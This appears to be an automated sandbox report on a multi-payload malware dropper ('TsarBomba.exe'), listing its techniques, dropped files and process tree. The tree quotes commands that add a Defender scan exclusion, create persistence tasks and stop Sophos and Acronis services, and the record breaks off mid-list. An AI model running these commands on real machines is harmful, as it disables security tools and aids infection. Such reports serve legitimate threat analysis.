ades_stealer | 4e5cebe1908e12e8a4ed1198fb01fb87871dbe54847855b11b3540dbc47bbe88

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1919182765-2457925700-1517026611-1000\Control Panel\International\Geo\Nation	TsarBomba.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1919182765-2457925700-1517026611-1000\Control Panel\International\Geo\Nation	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe

Executes dropped EXE 14 IoCs

pid	Process
4416	0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe
4544	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe
4276	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe
2976	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe
4512	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
1424	4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
4432	6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe
3088	7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe
2572	9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe
1380	59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
5664	60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe
5440	65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe
5536	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
11436	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\K:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\V:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\N:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\R:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\I:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\O:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\G:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\L:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\X:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\M:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\E:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\T:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\Y:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\H:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\W:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\U:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\A:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\Z:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\B:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\Q:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\P:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\S:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\J:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe

Looks up external IP address via web service 8 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
83	reallyfreegeoip.org
179	ip-api.com
47	ip-api.com
60	checkip.dyndns.org
73	reallyfreegeoip.org
74	reallyfreegeoip.org
75	api.ipify.org
79	api.ipify.org

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral11/files/0x0007000000024215-372.dat	autoit_exe
behavioral11/files/0x00080000000245ca-8399.dat	autoit_exe

Checks system information in the registry 2 TTPs 1 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe

ConfuserEx .NET packer 3 IoCs

Detects ConfuserEx .NET packer.

resource	yara_rule
behavioral11/files/0x000700000002496d-9849.dat	ConfuserEx
behavioral11/memory/10324-10772-0x00000000004B0000-0x0000000000526000-memory.dmp	ConfuserEx
behavioral11/memory/10324-11591-0x0000000004F90000-0x0000000005004000-memory.dmp	ConfuserEx

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4544 set thread context of 4108	4544	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	95

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\MSBuild\conhost.exe	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
File created	C:\Program Files\MSBuild\088424020bedd6	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
File created	C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
File created	C:\Program Files (x86)\Windows Mail\9e8d7a4ca61bd9	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
File created	C:\Program Files\MSBuild\conhost.exe	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\assembly\GAC\ADODB\7.0.3300.0__b03f5f7f11d50a3a\fontdrvhost.exe	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
File created	C:\Windows\assembly\GAC\ADODB\7.0.3300.0__b03f5f7f11d50a3a\5b884080fd4f94	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
File created	C:\Windows\DigitalLocker\RuntimeBroker.exe	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
File created	C:\Windows\DigitalLocker\9e8d7a4ca61bd9	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 17 IoCs

pid	pid_target	Process	procid_target
11128	868	WerFault.exe	113
8980	868	WerFault.exe	113
9256	868	WerFault.exe	113
8860	6760	WerFault.exe	213
8864	868	WerFault.exe	113
12760	6224	WerFault.exe	210
9996	868	WerFault.exe	113
6528	5404	WerFault.exe	274
13612	868	WerFault.exe	113
13344	868	WerFault.exe	113
12872	12592	WerFault.exe	142
7008	868	WerFault.exe	113
4600	868	WerFault.exe	113
13908	868	WerFault.exe	113
6400	868	WerFault.exe	113
7724	868	WerFault.exe	113
8312	868	WerFault.exe	113

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TsarBomba.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Inno Setup is an open-source installation builder for Windows applications. 2 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral11/files/0x00070000000248a9-7787.dat	innosetup
behavioral11/memory/8772-8503-0x0000000000400000-0x0000000000546000-memory.dmp	innosetup

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
12988	timeout.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
10704	vssadmin.exe
12884	vssadmin.exe

Kills process with taskkill 45 IoCs

defense_evasion

pid	Process
10544	taskkill.exe
3928	taskkill.exe
14752	taskkill.exe
9836	taskkill.exe
13860	taskkill.exe
5836	taskkill.exe
9924	taskkill.exe
3964	taskkill.exe
12676	taskkill.exe
2692	taskkill.exe
6796	taskkill.exe
8456	taskkill.exe
11620	taskkill.exe
7024	taskkill.exe
12204	taskkill.exe
14880	taskkill.exe
15292	taskkill.exe
13336	taskkill.exe
4780	taskkill.exe
11680	taskkill.exe
11504	taskkill.exe
6752	taskkill.exe
12524	taskkill.exe
5264	taskkill.exe
12240	taskkill.exe
13652	taskkill.exe
1108	taskkill.exe
10056	taskkill.exe
11196	taskkill.exe
14940	taskkill.exe
7232	taskkill.exe
7616	taskkill.exe
6688	taskkill.exe
6804	taskkill.exe
12228	taskkill.exe
9536	taskkill.exe
6996	taskkill.exe
7624	taskkill.exe
11304	taskkill.exe
11448	taskkill.exe
5596	taskkill.exe
8744	taskkill.exe
1608	taskkill.exe
13772	taskkill.exe
3256	taskkill.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
14912	reg.exe
12580	reg.exe

Opens file in notepad (likely ransom note) 2 IoCs

ransomware

pid	Process
4400	NOTEPAD.EXE
11452	NOTEPAD.EXE

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 27 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
13320	schtasks.exe
6816	schtasks.exe
11664	schtasks.exe
11972	schtasks.exe
12160	schtasks.exe
15092	schtasks.exe
14692	schtasks.exe
9616	schtasks.exe
12112	schtasks.exe
7060	schtasks.exe
11816	schtasks.exe
5448	schtasks.exe
9696	schtasks.exe
5532	schtasks.exe
7988	schtasks.exe
13632	schtasks.exe
13884	schtasks.exe
12128	schtasks.exe
12280	schtasks.exe
1140	schtasks.exe
3832	schtasks.exe
13256	schtasks.exe
10144	schtasks.exe
2840	schtasks.exe
9908	schtasks.exe
11112	schtasks.exe
5868	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4512	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
4512	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1380	59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1380	59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1380	59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1380	59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	64	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
Token: SeDebugPrivilege	3088	7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe
Token: SeDebugPrivilege	4432	6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe
Token: SeDebugPrivilege	4416	0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe
Token: SeDebugPrivilege	1380	59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
Token: SeDebugPrivilege	1380	59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
Token: SeDebugPrivilege	1380	59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2572	9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 5892 wrote to memory of 4416	5892	TsarBomba.exe	80
PID 5892 wrote to memory of 4544	5892	TsarBomba.exe	82
PID 5892 wrote to memory of 4276	5892	TsarBomba.exe	83
PID 5892 wrote to memory of 2976	5892	TsarBomba.exe	84
PID 5892 wrote to memory of 4512	5892	TsarBomba.exe	86
PID 5892 wrote to memory of 1424	5892	TsarBomba.exe	88
PID 5892 wrote to memory of 64	5892	TsarBomba.exe	90
PID 5892 wrote to memory of 4432	5892	TsarBomba.exe	91
PID 5892 wrote to memory of 3088	5892	TsarBomba.exe	92
PID 5892 wrote to memory of 2572	5892	TsarBomba.exe	93
PID 5892 wrote to memory of 1380	5892	TsarBomba.exe	94
PID 4544 wrote to memory of 4108	4544	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	95
PID 4544 wrote to memory of 4108	4544	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	95
PID 4544 wrote to memory of 4108	4544	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	95
PID 4544 wrote to memory of 4108	4544	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	95
PID 4544 wrote to memory of 4108	4544	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	95
PID 4544 wrote to memory of 4108	4544	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	95
PID 4544 wrote to memory of 4108	4544	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	95
PID 4544 wrote to memory of 4108	4544	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	95
PID 4544 wrote to memory of 4108	4544	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	95
PID 2976 wrote to memory of 3460	2976	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe	96
PID 5892 wrote to memory of 5664	5892	TsarBomba.exe	98
PID 5892 wrote to memory of 5440	5892	TsarBomba.exe	99
PID 4512 wrote to memory of 5500	4512	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe	100
PID 5892 wrote to memory of 5536	5892	TsarBomba.exe	101

C:\Users\Admin\AppData\Local\Temp\TsarBomba.exe
"C:\Users\Admin\AppData\Local\Temp\TsarBomba.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5892
- C:\Users\Admin\AppData\Local\Temp\0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe
  "C:\Users\Admin\AppData\Local\Temp\0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4416
- C:\Users\Admin\AppData\Local\Temp\0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe
  "C:\Users\Admin\AppData\Local\Temp\0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4544
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:4108
- C:\Users\Admin\AppData\Local\Temp\01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe
  "C:\Users\Admin\AppData\Local\Temp\01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4276
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:9708
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZcwWvGIJLelYh" /XML "C:\Users\Admin\AppData\Local\Temp\tmp74ED.tmp"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:12112
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:7420
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:13660
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:8976
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"
      4⤵
      PID:2636
- C:\Users\Admin\AppData\Local\Temp\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe
  "C:\Users\Admin\AppData\Local\Temp\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2976
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    PID:3460
- - C:\Windows\SysWOW64\net.exe
    net stop "Acronis VSS Provider" /y
    3⤵
    PID:7708
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Acronis VSS Provider" /y
      4⤵
      PID:6856
- - C:\Windows\SysWOW64\net.exe
    net stop "Enterprise Client Service" /y
    3⤵
    PID:2876
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Enterprise Client Service" /y
      4⤵
      PID:13672
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Agent" /y
    3⤵
    PID:9428
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Agent" /y
      4⤵
      PID:13596
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos AutoUpdate Service" /y
    3⤵
    PID:5724
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos AutoUpdate Service" /y
      4⤵
      PID:5256
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Clean Service" /y
    3⤵
    PID:6732
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Clean Service" /y
      4⤵
      PID:7984
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Device Control Service" /y
    3⤵
    PID:13728
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Device Control Service" /y
      4⤵
      PID:15272
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos File Scanner Service" /y
    3⤵
    PID:14760
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos File Scanner Service" /y
      4⤵
      PID:13480
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Health Service" /y
    3⤵
    PID:6568
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Health Service" /y
      4⤵
      PID:7876
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos MCS Agent" /y
    3⤵
    PID:8936
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos MCS Agent" /y
      4⤵
      PID:5196
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos MCS Client" /y
    3⤵
    PID:14064
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos MCS Client" /y
      4⤵
      PID:14452
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Message Router" /y
    3⤵
    PID:12664
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Message Router" /y
      4⤵
      PID:9256
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Safestore Service" /y
    3⤵
